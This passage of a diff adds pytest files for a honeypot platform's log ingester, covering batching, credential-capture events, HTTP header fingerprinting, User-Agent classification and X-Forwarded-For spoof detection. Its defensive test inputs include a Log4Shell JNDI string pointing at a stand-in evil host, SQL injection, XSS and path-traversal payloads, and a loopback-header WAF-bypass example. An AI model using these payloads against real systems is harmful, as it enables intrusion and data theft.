mock_repo.add_logs = AsyncMock()
mock_repo.add_bounty = AsyncMock()
mock_repo.get_state = AsyncMock(return_value=None)
mock_repo.set_state = AsyncMock()
log_file = str(tmp_path / "test.log")
json_file = tmp_path / "test.json"
line = json.dumps({"decky": "d1", "service": "ssh", "event_type": "auth",
"attacker_ip": "1.1.1.1", "fields": {}, "raw_line": "x", "msg": ""}) + "\n"
json_file.write_text(line)
_call_count: int = 0
async def fake_sleep(secs):
nonlocal _call_count
_call_count += 1
if _call_count >= 2:
raise asyncio.CancelledError()
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
with pytest.raises(asyncio.CancelledError):
await log_ingestion_worker(mock_repo)
set_state_calls = mock_repo.set_state.call_args_list
position_calls = [c for c in set_state_calls if c[0][0] == _INGEST_STATE_KEY]
assert position_calls, "set_state never called with ingest position key"
saved_pos = position_calls[-1][0][1]["position"]
assert saved_pos == len(line.encode("utf-8"))
@pytest.mark.asyncio
async def test_batches_many_lines_into_few_commits(self, tmp_path):
"""250 lines with BATCH_SIZE=100 should flush in a handful of calls."""
from decnet.web.ingester import log_ingestion_worker
mock_repo = MagicMock()
mock_repo.add_log = AsyncMock()
mock_repo.add_logs = AsyncMock()
mock_repo.add_bounty = AsyncMock()
mock_repo.get_state = AsyncMock(return_value=None)
mock_repo.set_state = AsyncMock()
log_file = str(tmp_path / "test.log")
json_file = tmp_path / "test.json"
_lines = "".join(
json.dumps({
"decky": f"d{i}", "service": "ssh", "event_type": "auth",
"attacker_ip": f"10.0.0.{i % 256}", "fields": {}, "raw_line": "x", "msg": ""
}) + "\n"
for i in range(250)
)
json_file.write_text(_lines)
_call_count: int = 0
async def fake_sleep(secs):
nonlocal _call_count
_call_count += 1
if _call_count >= 2:
raise asyncio.CancelledError()
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
with pytest.raises(asyncio.CancelledError):
await log_ingestion_worker(mock_repo)
# 250 lines, batch=100 → 2 size-triggered flushes + 1 remainder flush.
# Asserting <= 5 leaves headroom for time-triggered flushes on slow CI.
assert mock_repo.add_logs.await_count <= 5
_rows = [r for call in mock_repo.add_logs.call_args_list for r in call.args[0]]
assert len(_rows) == 250
@pytest.mark.asyncio
async def test_truncation_resets_and_saves_zero_position(self, tmp_path):
"""On file truncation, set_state is called with position=0."""
from decnet.web.ingester import log_ingestion_worker, _INGEST_STATE_KEY
mock_repo = MagicMock()
mock_repo.add_log = AsyncMock()
mock_repo.add_logs = AsyncMock()
mock_repo.add_bounty = AsyncMock()
mock_repo.set_state = AsyncMock()
log_file = str(tmp_path / "test.log")
json_file = tmp_path / "test.json"
line = json.dumps({"decky": "d1", "service": "ssh", "event_type": "auth",
"attacker_ip": "1.1.1.1", "fields": {}, "raw_line": "x", "msg": ""}) + "\n"
# Pretend the saved position is past the end (simulates prior larger file)
big_position = len(line.encode("utf-8")) * 10
mock_repo.get_state = AsyncMock(return_value={"position": big_position})
json_file.write_text(line) # file is smaller than saved position → truncation
_call_count: int = 0
async def fake_sleep(secs):
nonlocal _call_count
_call_count += 1
if _call_count >= 2:
raise asyncio.CancelledError()
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
with pytest.raises(asyncio.CancelledError):
await log_ingestion_worker(mock_repo)
reset_calls = [
c for c in mock_repo.set_state.call_args_list
if c[0][0] == _INGEST_STATE_KEY and c[0][1] == {"position": 0}
]
assert reset_calls, "set_state not called with position=0 after truncation"

View File

@@ -0,0 +1,150 @@
"""Bus wiring for the ingester (DEBT-031, worker 6).
The ingester emits one ``system.log`` event per DB-committed batch via
``_publish_batch``. Per-line noise lives on the collector side; the
ingester's job is to signal "N rows landed in the DB up to offset P" so
heartbeat / federation consumers can tail DB progress without polling
the state table.
"""
from __future__ import annotations
import asyncio
import pytest
import pytest_asyncio
from decnet.bus.fake import FakeBus
from decnet.web.ingester import _publish_batch
@pytest_asyncio.fixture
async def bus() -> FakeBus:
b = FakeBus()
await b.connect()
yield b
await b.close()
@pytest.mark.asyncio
async def test_publish_batch_fires_on_nonempty_flush(bus: FakeBus) -> None:
sub = bus.subscribe("system.log")
async with sub:
await _publish_batch(bus, flushed=17, position=4096)
event = await asyncio.wait_for(sub.__anext__(), timeout=2.0)
assert event.topic == "system.log"
assert event.type == "batch_committed"
assert event.payload == {
"component": "ingester",
"flushed": 17,
"position": 4096,
}
@pytest.mark.asyncio
async def test_publish_batch_skips_zero_row_flush(bus: FakeBus) -> None:
# An empty batch shouldn't pollute the topic — nothing to signal.
sub = bus.subscribe("system.log")
async with sub:
await _publish_batch(bus, flushed=0, position=0)
# Expect nothing within a short window. asyncio.wait_for raises
# TimeoutError when no event arrives.
with pytest.raises(asyncio.TimeoutError):
await asyncio.wait_for(sub.__anext__(), timeout=0.2)
@pytest.mark.asyncio
async def test_publish_batch_is_noop_when_bus_is_none() -> None:
# Bus-disabled path: ingester passes bus=None into _publish_batch.
# Must be a safe no-op; no exceptions, no hangs.
await _publish_batch(None, flushed=5, position=123)
@pytest.mark.asyncio
async def test_publish_batch_swallows_bus_failures(monkeypatch) -> None:
# A dead bus must never break the ingestion loop.
class _ExplodingBus:
async def publish(self, *_args, **_kwargs):
raise RuntimeError("transport exploded")
await _publish_batch(_ExplodingBus(), flushed=3, position=42)
@pytest.mark.asyncio
async def test_credential_captured_published_on_upsert(bus: FakeBus) -> None:
"""A successful credential ingest publishes ``credential.captured`` once
with the secret hash, kind, attacker IP, decky, and service.
"""
from unittest.mock import AsyncMock
from decnet.web.ingester import _ingest_credential_native
repo = AsyncMock()
repo.upsert_credential = AsyncMock(return_value=1)
sub = bus.subscribe("credential.captured")
async with sub:
await _ingest_credential_native(
repo,
log_data={
"attacker_ip": "10.0.0.5",
"decky": "decky-01",
"service": "ssh",
},
fields={
"secret_b64": "aHVudGVyMg==",
"secret_kind": "plaintext",
"principal": "root",
"secret_printable": "hunter2",
},
bus=bus,
)
event = await asyncio.wait_for(sub.__anext__(), timeout=2.0)
assert event.topic == "credential.captured"
assert event.type == "captured"
assert event.payload["secret_kind"] == "plaintext"
assert event.payload["attacker_ip"] == "10.0.0.5"
assert event.payload["decky"] == "decky-01"
assert event.payload["service"] == "ssh"
# Hash is sha256 of decoded "hunter2".
import hashlib
assert event.payload["secret_sha256"] == hashlib.sha256(b"hunter2").hexdigest()
repo.upsert_credential.assert_awaited_once()
@pytest.mark.asyncio
async def test_credential_captured_silent_on_validation_failure(bus: FakeBus) -> None:
"""A dropped credential (invalid b64) must not publish anything."""
from unittest.mock import AsyncMock
from decnet.web.ingester import _ingest_credential_native
repo = AsyncMock()
repo.upsert_credential = AsyncMock()
sub = bus.subscribe("credential.captured")
async with sub:
await _ingest_credential_native(
repo,
log_data={"attacker_ip": "10.0.0.5", "decky": "d", "service": "ssh"},
fields={"secret_b64": "not-valid-base64!!!"},
bus=bus,
)
with pytest.raises(asyncio.TimeoutError):
await asyncio.wait_for(sub.__anext__(), timeout=0.2)
repo.upsert_credential.assert_not_awaited()
@pytest.mark.asyncio
async def test_ingester_degrades_cleanly_when_bus_disabled(
monkeypatch: pytest.MonkeyPatch,
) -> None:
from decnet.bus.factory import get_bus
monkeypatch.setenv("DECNET_BUS_ENABLED", "false")
b = get_bus(client_name="ingester")
await b.connect()
await b.publish("system.log", {"component": "ingester"}, event_type="batch_committed")
await b.close()

View File

@@ -0,0 +1,226 @@
"""HTTP header-quirks fingerprint extraction in the ingester."""
from __future__ import annotations
from unittest.mock import AsyncMock
import pytest
from decnet.web.ingester import (
_casing_category,
_guess_tool_from_order,
_http_quirks_fingerprint,
_short_hash,
_extract_bounty,
)
def _log_row(headers: dict[str, str], *, service: str = "http") -> dict:
return {
"decky": "http-01",
"service": service,
"attacker_ip": "1.2.3.4",
"event_type": "request",
"fields": {
"method": "GET",
"path": "/",
"headers": headers,
},
}
# ─── casing classifier ─────────────────────────────────────────────────────
def test_casing_title():
assert _casing_category("User-Agent") == "title"
assert _casing_category("Host") == "title"
assert _casing_category("X-Forwarded-For") == "title"
def test_casing_lower():
assert _casing_category("user-agent") == "lower"
assert _casing_category("x-forwarded-for") == "lower"
def test_casing_upper():
assert _casing_category("USER-AGENT") == "upper"
def test_casing_mixed():
assert _casing_category("USer-AgEnt") == "mixed"
# ─── order + casing hash stability ──────────────────────────────────────────
def test_same_order_same_hash():
row_a = _log_row({"Host": "x", "User-Agent": "curl/8", "Accept": "*/*"})
row_b = _log_row({"Host": "y", "User-Agent": "curl/7", "Accept": "*/*"})
fa = _http_quirks_fingerprint(row_a, row_a["fields"]["headers"])
fb = _http_quirks_fingerprint(row_b, row_b["fields"]["headers"])
assert fa["order_hash"] == fb["order_hash"]
assert fa["casing_hash"] == fb["casing_hash"]
def test_different_order_different_hash():
row_a = _log_row({"Host": "x", "User-Agent": "a", "Accept": "*/*"})
row_b = _log_row({"Accept": "*/*", "User-Agent": "a", "Host": "x"})
fa = _http_quirks_fingerprint(row_a, row_a["fields"]["headers"])
fb = _http_quirks_fingerprint(row_b, row_b["fields"]["headers"])
assert fa["order_hash"] != fb["order_hash"]
def test_different_casing_different_hash():
row_a = _log_row({"Host": "x", "User-Agent": "a"})
row_b = _log_row({"host": "x", "user-agent": "a"})
fa = _http_quirks_fingerprint(row_a, row_a["fields"]["headers"])
fb = _http_quirks_fingerprint(row_b, row_b["fields"]["headers"])
assert fa["casing_hash"] != fb["casing_hash"]
assert fa["casing_category"] == "title"
assert fb["casing_category"] == "lower"
def test_volatile_headers_excluded_from_hash():
"""Content-Length, Cookie, XFF etc. are per-request; the identity
hash must not depend on them, otherwise two requests from the same
stack — one with Cookie, one without — would dedup-miss at the
bounty layer and spam the AttackerDetail page."""
row_a = _log_row({
"Host": "x", "User-Agent": "a", "Content-Length": "100",
})
row_b = _log_row({
"Host": "x", "User-Agent": "a", "Content-Length": "999",
"Cookie": "session=abc",
})
fa = _http_quirks_fingerprint(row_a, row_a["fields"]["headers"])
fb = _http_quirks_fingerprint(row_b, row_b["fields"]["headers"])
# Whole payload must be identical — add_bounty dedups on the full
# serialized payload, so ANY per-request-varying field would spawn
# new rows. This assertion is the contract.
assert fa == fb
assert fa["stable_count"] == 2
# ─── tool guesses ──────────────────────────────────────────────────────────
def test_curl_signature_guessed():
assert _guess_tool_from_order(["host", "user-agent", "accept"]) == "curl"
def test_python_requests_signature_guessed():
assert _guess_tool_from_order([
"host", "user-agent", "accept-encoding", "accept", "connection",
]) == "python-requests"
def test_go_http_client_signature_guessed():
assert _guess_tool_from_order([
"host", "user-agent", "accept-encoding",
]) == "go-http-client"
def test_nmap_nse_signature_guessed():
# Short order starting with host, user-agent → nmap-nse.
assert _guess_tool_from_order(["host", "user-agent"]) == "nmap-nse"
def test_unknown_tool_returns_none():
assert _guess_tool_from_order(["accept", "host", "user-agent"]) is None
def test_fingerprint_includes_tool_guess_curl():
row = _log_row({
"Host": "target", "User-Agent": "curl/8.0", "Accept": "*/*",
})
f = _http_quirks_fingerprint(row, row["fields"]["headers"])
assert f["tool_guess"] == "curl"
# ─── gating ─────────────────────────────────────────────────────────────────
def test_non_http_service_skipped():
row = _log_row({"Host": "x"}, service="ssh")
assert _http_quirks_fingerprint(row, row["fields"]["headers"]) is None
def test_empty_headers_skipped():
row = _log_row({})
assert _http_quirks_fingerprint(row, {}) is None
def test_only_volatile_headers_still_emits():
"""If every header is in the volatile set we still want a fingerprint,
just with empty order — "zero stable headers" is itself a signal."""
row = _log_row({"Content-Length": "10", "Cookie": "a=b"})
f = _http_quirks_fingerprint(row, row["fields"]["headers"])
assert f is not None
assert f["stable_count"] == 0
assert f["order"] == []
# ─── end-to-end via _extract_bounty ─────────────────────────────────────────
@pytest.mark.asyncio
async def test_extract_bounty_emits_http_quirks():
row = _log_row({
"Host": "target", "User-Agent": "curl/8.0", "Accept": "*/*",
})
repo = AsyncMock()
await _extract_bounty(repo, row)
calls = [
c.args[0] for c in repo.add_bounty.call_args_list
]
# Expect: http_useragent fingerprint + http_quirks fingerprint.
fp_types = [
c["payload"].get("fingerprint_type")
for c in calls
if c["bounty_type"] == "fingerprint"
]
assert "http_useragent" in fp_types
assert "http_quirks" in fp_types
quirks = next(
c for c in calls
if c["bounty_type"] == "fingerprint"
and c["payload"].get("fingerprint_type") == "http_quirks"
)
assert quirks["payload"]["tool_guess"] == "curl"
assert quirks["payload"]["casing_category"] == "title"
@pytest.mark.asyncio
async def test_extract_bounty_non_http_skips_quirks():
row = _log_row({"Host": "x"}, service="ssh")
repo = AsyncMock()
await _extract_bounty(repo, row)
for call in repo.add_bounty.call_args_list:
payload = call.args[0].get("payload") or {}
assert payload.get("fingerprint_type") != "http_quirks"
def test_payload_stable_across_paths_and_methods():
"""Two requests from the same stack hitting different paths/methods
must produce byte-identical payloads so (ip, type, payload) dedup
collapses them into one bounty row. If this test breaks, check
whether a per-request field snuck back into _http_quirks_fingerprint."""
headers = {"Host": "target", "User-Agent": "curl/8.0", "Accept": "*/*"}
row_get = {
"decky": "http-01", "service": "http", "attacker_ip": "1.2.3.4",
"event_type": "request",
"fields": {"method": "GET", "path": "/admin", "headers": headers},
}
row_post = {
"decky": "http-01", "service": "http", "attacker_ip": "1.2.3.4",
"event_type": "request",
"fields": {"method": "POST", "path": "/wp-login.php", "headers": headers},
}
fa = _http_quirks_fingerprint(row_get, headers)
fb = _http_quirks_fingerprint(row_post, headers)
assert fa == fb, "payload must not depend on request method/path"
# ─── hash stability across restarts ─────────────────────────────────────────
def test_short_hash_deterministic():
assert _short_hash("abc") == _short_hash("abc")
assert _short_hash("abc") != _short_hash("def")
assert len(_short_hash("anything")) == 16

View File

@@ -0,0 +1,242 @@
"""User-Agent classifier — enriches http_useragent bounty payload."""
from __future__ import annotations
from unittest.mock import AsyncMock
import pytest
from decnet.web.ingester import _classify_ua, _extract_bounty
def _row(ua: str) -> dict:
return {
"decky": "http-01",
"service": "http",
"attacker_ip": "1.2.3.4",
"event_type": "request",
"fields": {
"method": "GET",
"path": "/",
"headers": {"User-Agent": ua} if ua else {},
},
}
# ─── categories ────────────────────────────────────────────────────────────
def test_empty_ua_is_empty_category():
cat, tool, signals = _classify_ua("")
assert cat == "empty"
assert tool is None
@pytest.mark.parametrize("ua", [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15",
])
def test_browser_classification(ua: str):
cat, tool, _ = _classify_ua(ua)
assert cat == "browser"
assert tool is None
@pytest.mark.parametrize("ua,expected_tool", [
("curl/8.0.1", "curl"),
("curl/7.81.0", "curl"),
("Wget/1.21.3", "wget"),
("HTTPie/3.2.1", "httpie"),
])
def test_cli_classification(ua: str, expected_tool: str):
cat, tool, _ = _classify_ua(ua)
assert cat == "cli"
assert tool == expected_tool
@pytest.mark.parametrize("ua,expected_tool", [
("python-requests/2.31.0", "python-requests"),
("aiohttp/3.9.1", "aiohttp"),
("httpx/0.27.0", "httpx"),
("Go-http-client/1.1", "go-stdlib"),
("Java/11.0.19", "java-stdlib"),
("okhttp/4.11.0", "okhttp"),
("Apache-HttpClient/5.2.1 (Java/11.0.19)", "apache-httpclient"),
("axios/1.6.2", "axios"),
("PostmanRuntime/7.36.1", "postman"),
("GuzzleHttp/7", "guzzle"),
])
def test_library_classification(ua: str, expected_tool: str):
cat, tool, _ = _classify_ua(ua)
assert cat == "library"
assert tool == expected_tool
@pytest.mark.parametrize("ua,expected_tool", [
("Nmap Scripting Engine; https://nmap.org/book/nse.html", "nmap"),
("Mozilla/5.0 (compatible; Nuclei - Open-source project)", "nuclei"),
("sqlmap/1.7.11#stable (http://sqlmap.org)", "sqlmap"),
("gobuster/3.6", "gobuster"),
("Mozilla/5.0 (Nikto/2.5.0)", "nikto"),
("masscan/1.3.2", "masscan"),
("wpscan v3.8.25 ", "wpscan"),
("zgrab/0.x", "zgrab"),
("Mozilla/5.0 (X11; Acunetix; Linux x86_64)", "acunetix"),
("ffuf/2.1.0", "ffuf"),
])
def test_scanner_classification(ua: str, expected_tool: str):
cat, tool, _ = _classify_ua(ua)
assert cat == "scanner"
assert tool == expected_tool
@pytest.mark.parametrize("ua", [
"Googlebot/2.1 (+http://www.google.com/bot.html)",
"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)",
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
])
def test_bot_classification(ua: str):
cat, _, _ = _classify_ua(ua)
assert cat == "bot"
@pytest.mark.parametrize("ua", [
"FUCKYOU/1.0",
"myscanner",
"customtool-v2",
"ABCDE", # short — also triggers suspicious_short signal
"X",
"lol",
"hello-world-ua",
])
def test_nonstandard_classification(ua: str):
cat, tool, _ = _classify_ua(ua)
assert cat == "nonstandard", f"{ua!r} should be nonstandard but got {cat}"
assert tool is None
# ─── signals ───────────────────────────────────────────────────────────────
def test_suspicious_short_signal():
_, _, signals = _classify_ua("lol")
assert "suspicious_short" in signals
def test_suspicious_long_signal():
_, _, signals = _classify_ua("A" * 600)
assert "suspicious_long" in signals
def test_nonprintable_signal():
_, _, signals = _classify_ua("curl/8\x00.0")
assert "nonprintable" in signals
def test_injection_like_sqli():
_, _, signals = _classify_ua("Mozilla/5.0' OR 1=1 --")
assert "injection_like" in signals
def test_injection_like_log4shell():
_, _, signals = _classify_ua("${jndi:ldap://evil.example/x}")
assert "injection_like" in signals
def test_injection_like_xss():
_, _, signals = _classify_ua("<script>alert(1)</script>")
assert "injection_like" in signals
def test_injection_like_path_traversal():
_, _, signals = _classify_ua("mytool/../../etc/passwd")
assert "injection_like" in signals
def test_no_signals_on_normal_browser():
_, _, signals = _classify_ua(
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
)
assert signals == []
def test_scanner_can_still_carry_injection_signal():
"""A scanner UA with an injection marker embedded is a combination
worth separating — both labels applied."""
cat, tool, signals = _classify_ua("sqlmap/1.7' OR 1=1 --")
assert cat == "scanner"
assert tool == "sqlmap"
assert "injection_like" in signals
# ─── payload determinism / dedup ───────────────────────────────────────────
def test_same_ua_produces_same_payload():
"""Critical for add_bounty dedup — same UA string must produce
byte-identical classifier output so the full payload hashes the
same across requests."""
a = _classify_ua("FUCKYOU/1.0")
b = _classify_ua("FUCKYOU/1.0")
assert a == b
# ─── end-to-end via _extract_bounty ────────────────────────────────────────
@pytest.mark.asyncio
async def test_extract_bounty_enriches_nonstandard_ua():
repo = AsyncMock()
await _extract_bounty(repo, _row("FUCKYOU/1.0"))
ua_call = next(
c.args[0] for c in repo.add_bounty.call_args_list
if c.args[0].get("bounty_type") == "fingerprint"
and c.args[0]["payload"].get("fingerprint_type") == "http_useragent"
)
p = ua_call["payload"]
assert p["value"] == "FUCKYOU/1.0"
assert p["category"] == "nonstandard"
assert p["tool"] is None
@pytest.mark.asyncio
async def test_extract_bounty_enriches_scanner_ua():
repo = AsyncMock()
await _extract_bounty(repo, _row("sqlmap/1.7.11"))
ua_call = next(
c.args[0] for c in repo.add_bounty.call_args_list
if c.args[0].get("bounty_type") == "fingerprint"
and c.args[0]["payload"].get("fingerprint_type") == "http_useragent"
)
p = ua_call["payload"]
assert p["category"] == "scanner"
assert p["tool"] == "sqlmap"
@pytest.mark.asyncio
async def test_extract_bounty_empty_ua_still_fires():
"""Explicit empty UA header is itself a signal — real clients
always send SOMETHING. Flag as 'empty' category."""
row = {
"decky": "http-01",
"service": "http",
"attacker_ip": "1.2.3.4",
"event_type": "request",
"fields": {
"method": "GET",
"path": "/",
"headers": {"User-Agent": ""},
},
}
repo = AsyncMock()
await _extract_bounty(repo, row)
ua_calls = [
c.args[0] for c in repo.add_bounty.call_args_list
if c.args[0].get("bounty_type") == "fingerprint"
and c.args[0]["payload"].get("fingerprint_type") == "http_useragent"
]
# Empty-string UA is falsy — current _extract_bounty checks `if _ua:`.
# We want to NOT emit on missing UA, but we do want to flag empty.
# The `_ua is not None` check in ingester now handles this; verify
# it fires with category=empty.
assert len(ua_calls) == 1
assert ua_calls[0]["payload"]["category"] == "empty"

View File

@@ -0,0 +1,302 @@
"""XFF / proxy-family mismatch detection in the ingester's bounty extractor."""
from __future__ import annotations
from unittest.mock import AsyncMock
import pytest
from decnet.web.ingester import (
_categorize_claimed_ip,
_detect_ip_leak,
_detect_spoofed_source,
_extract_bounty,
)
def _log_row(
headers: dict[str, str] | None = None,
*,
source_ip: str = "8.8.8.8",
service: str = "http",
event_type: str = "request",
) -> dict:
return {
"decky": "http-01",
"service": service,
"attacker_ip": source_ip,
"event_type": event_type,
"fields": {
"method": "GET",
"path": "/wp-admin/",
"headers": headers or {},
},
}
# ─── pure detector ──────────────────────────────────────────────────────────
def test_xff_leftmost_differs_from_source_emits_leak():
row = _log_row({
"X-Forwarded-For": "1.1.1.1, 10.0.0.1",
})
result = _detect_ip_leak(row, row["fields"]["headers"])
assert result is not None
assert result["source_ip"] == "8.8.8.8"
assert result["real_ip_claim"] == "1.1.1.1"
assert result["source_header"] == "X-Forwarded-For"
# Identity-only payload — method/path intentionally omitted so the
# bounty dedup collapses repeat hits from the same attacker.
assert "method" not in result
assert "path" not in result
def test_xff_matches_source_no_leak():
row = _log_row({"X-Forwarded-For": "8.8.8.8"})
assert _detect_ip_leak(row, row["fields"]["headers"]) is None
def test_xff_loopback_is_not_a_leak():
"""curl -H 'X-Forwarded-For: 127.0.0.1' is the classic WAF-bypass
payload. Must not be classified as an attribution leak — loopback
is not a routable IP anyone could actually have as their real
address."""
row = _log_row({"X-Forwarded-For": "127.0.0.1"})
assert _detect_ip_leak(row, row["fields"]["headers"]) is None
def test_xff_rfc1918_is_not_a_leak():
"""RFC1918 private addresses are forgery attempts, not leaks."""
for ip in ("10.0.0.1", "172.16.0.1", "192.168.1.1"):
row = _log_row({"X-Forwarded-For": ip})
assert _detect_ip_leak(row, row["fields"]["headers"]) is None, ip
def test_xff_link_local_is_not_a_leak():
row = _log_row({"X-Forwarded-For": "169.254.1.1"})
assert _detect_ip_leak(row, row["fields"]["headers"]) is None
def test_forwarded_header_rfc7239_parsed():
row = _log_row({"Forwarded": "for=1.2.3.4;by=5.6.7.8"})
result = _detect_ip_leak(row, row["fields"]["headers"])
assert result is not None
assert result["real_ip_claim"] == "1.2.3.4"
assert result["source_header"] == "Forwarded"
def test_forwarded_with_ipv6_and_port():
row = _log_row({"Forwarded": 'for="[2606:4700:4700::1111]:4711"'})
result = _detect_ip_leak(row, row["fields"]["headers"])
assert result is not None
assert result["real_ip_claim"] == "2606:4700:4700::1111"
def test_x_real_ip_fallback():
row = _log_row({"X-Real-IP": "1.1.1.1"})
result = _detect_ip_leak(row, row["fields"]["headers"])
assert result is not None
assert result["source_header"] == "X-Real-IP"
assert result["real_ip_claim"] == "1.1.1.1"
def test_cf_connecting_ip_variant():
row = _log_row({"CF-Connecting-IP": "1.0.0.1"})
result = _detect_ip_leak(row, row["fields"]["headers"])
assert result is not None
assert result["source_header"] == "CF-Connecting-IP"
assert result["real_ip_claim"] == "1.0.0.1"
def test_priority_forwarded_over_xff():
row = _log_row({
"Forwarded": "for=1.1.1.1",
"X-Forwarded-For": "2.2.2.2",
"X-Real-IP": "3.3.3.3",
})
result = _detect_ip_leak(row, row["fields"]["headers"])
assert result is not None
assert result["source_header"] == "Forwarded"
assert result["real_ip_claim"] == "1.1.1.1"
# All proxy headers preserved in metadata.
assert "X-Forwarded-For" in result["headers_seen"]
assert "X-Real-IP" in result["headers_seen"]
def test_case_insensitive_header_match():
row = _log_row({"x-forwarded-for": "1.1.1.1"})
result = _detect_ip_leak(row, row["fields"]["headers"])
assert result is not None
assert result["real_ip_claim"] == "1.1.1.1"
def test_trusted_proxy_source_skipped(monkeypatch):
monkeypatch.setenv("DECNET_TRUSTED_PROXIES", "8.8.8.8")
row = _log_row({"X-Forwarded-For": "1.1.1.1"})
assert _detect_ip_leak(row, row["fields"]["headers"]) is None
def test_trusted_proxy_cidr(monkeypatch):
monkeypatch.setenv("DECNET_TRUSTED_PROXIES", "8.8.8.0/24")
row = _log_row({"X-Forwarded-For": "1.1.1.1"})
assert _detect_ip_leak(row, row["fields"]["headers"]) is None
def test_malformed_xff_falls_through_to_next_parseable():
row = _log_row({"X-Forwarded-For": "garbage, 1.1.1.1, not-ip"})
result = _detect_ip_leak(row, row["fields"]["headers"])
assert result is not None
assert result["real_ip_claim"] == "1.1.1.1"
def test_all_values_unparseable_bails():
row = _log_row({"X-Forwarded-For": "not-ip, still-not-ip"})
assert _detect_ip_leak(row, row["fields"]["headers"]) is None
def test_no_headers_skipped():
row = _log_row({})
assert _detect_ip_leak(row, {}) is None
def test_non_http_service_skipped():
row = _log_row(
{"X-Forwarded-For": "1.1.1.1"},
service="ssh",
)
assert _detect_ip_leak(row, row["fields"]["headers"]) is None
def test_missing_attacker_ip_bails():
row = _log_row({"X-Forwarded-For": "1.1.1.1"}, source_ip="")
assert _detect_ip_leak(row, row["fields"]["headers"]) is None
# ─── end-to-end via _extract_bounty ─────────────────────────────────────────
@pytest.mark.asyncio
async def test_extract_bounty_emits_ip_leak_row():
row = _log_row({
"X-Forwarded-For": "1.1.1.1",
"User-Agent": "curl/7.81.0",
})
repo = AsyncMock()
await _extract_bounty(repo, row)
# Expect two bounty calls — User-Agent fingerprint + ip_leak.
types = [
call.args[0]["bounty_type"]
for call in repo.add_bounty.call_args_list
]
assert "fingerprint" in types
assert "ip_leak" in types
leak_call = next(
c for c in repo.add_bounty.call_args_list
if c.args[0]["bounty_type"] == "ip_leak"
)
payload = leak_call.args[0]["payload"]
assert payload["real_ip_claim"] == "1.1.1.1"
assert payload["source_ip"] == "8.8.8.8"
@pytest.mark.asyncio
async def test_extract_bounty_no_leak_no_call():
row = _log_row({"X-Forwarded-For": "8.8.8.8"}) # matches source
repo = AsyncMock()
await _extract_bounty(repo, row)
types = [
call.args[0]["bounty_type"]
for call in repo.add_bounty.call_args_list
]
assert "ip_leak" not in types
# ─── spoofed-source (non-routable claim) classification ─────────────────────
def test_categorize_public():
assert _categorize_claimed_ip("8.8.8.8") == "public"
assert _categorize_claimed_ip("2606:4700:4700::1111") == "public"
def test_categorize_loopback():
assert _categorize_claimed_ip("127.0.0.1") == "loopback"
assert _categorize_claimed_ip("::1") == "loopback"
def test_categorize_private():
for ip in ("10.0.0.1", "172.16.0.1", "192.168.1.1"):
assert _categorize_claimed_ip(ip) == "private", ip
def test_categorize_link_local():
assert _categorize_claimed_ip("169.254.1.1") == "link_local"
assert _categorize_claimed_ip("fe80::1") == "link_local"
def test_categorize_multicast_and_reserved():
assert _categorize_claimed_ip("224.0.0.1") == "multicast"
# 240.0.0.1 is reserved (class E).
assert _categorize_claimed_ip("240.0.0.1") == "reserved"
def test_categorize_unparseable():
assert _categorize_claimed_ip("not-an-ip") == "unparseable"
assert _categorize_claimed_ip("") == "unparseable"
def test_spoofed_source_fires_on_loopback_waf_bypass():
"""The original motivating case: curl -H 'X-Forwarded-For: 127.0.0.1'
must produce a spoofed_source fingerprint, NOT an ip_leak."""
row = _log_row({"X-Forwarded-For": "127.0.0.1"})
result = _detect_spoofed_source(row, row["fields"]["headers"])
assert result is not None
assert result["fingerprint_type"] == "spoofed_source"
assert result["claim_category"] == "loopback"
assert result["claimed_ip"] == "127.0.0.1"
assert result["source_ip"] == "8.8.8.8"
def test_spoofed_source_fires_on_rfc1918():
row = _log_row({"X-Forwarded-For": "10.0.0.5"})
result = _detect_spoofed_source(row, row["fields"]["headers"])
assert result is not None
assert result["claim_category"] == "private"
def test_spoofed_source_skipped_on_public_claim():
"""A public-IP claim is a leak, not a spoof — the two detectors
are mutually exclusive."""
row = _log_row({"X-Forwarded-For": "1.1.1.1"})
assert _detect_spoofed_source(row, row["fields"]["headers"]) is None
def test_spoofed_source_skipped_when_matches_source():
row = _log_row({"X-Forwarded-For": "8.8.8.8"})
assert _detect_spoofed_source(row, row["fields"]["headers"]) is None
def test_spoofed_source_respects_trusted_proxy(monkeypatch):
monkeypatch.setenv("DECNET_TRUSTED_PROXIES", "8.8.8.8")
row = _log_row({"X-Forwarded-For": "127.0.0.1"})
assert _detect_spoofed_source(row, row["fields"]["headers"]) is None
@pytest.mark.asyncio
async def test_extract_bounty_emits_spoofed_source_fingerprint():
row = _log_row({"X-Forwarded-For": "127.0.0.1"})
repo = AsyncMock()
await _extract_bounty(repo, row)
calls = [c.args[0] for c in repo.add_bounty.call_args_list]
# ip_leak must NOT fire for the loopback case.
assert all(c["bounty_type"] != "ip_leak" for c in calls)
# A fingerprint with fingerprint_type=spoofed_source should fire.
spoof = next(
(c for c in calls
if c["bounty_type"] == "fingerprint"
and c["payload"].get("fingerprint_type") == "spoofed_source"),
None,
)
assert spoof is not None
assert spoof["payload"]["claim_category"] == "loopback"

View File

@@ -0,0 +1,110 @@
"""
TTL-cache contract for /stats, /logs total count, and /attackers total count.
Under concurrent load N callers should collapse to 1 repo hit per TTL
window. Tests patch the repo — no real DB.
"""
import asyncio
from unittest.mock import AsyncMock, patch
import pytest
from decnet.web.router.stats import api_get_stats
from decnet.web.router.logs import api_get_logs
from decnet.web.router.attackers import api_get_attackers
@pytest.fixture(autouse=True)
def _reset_router_caches():
api_get_stats._reset_stats_cache()
api_get_logs._reset_total_cache()
api_get_attackers._reset_total_cache()
yield
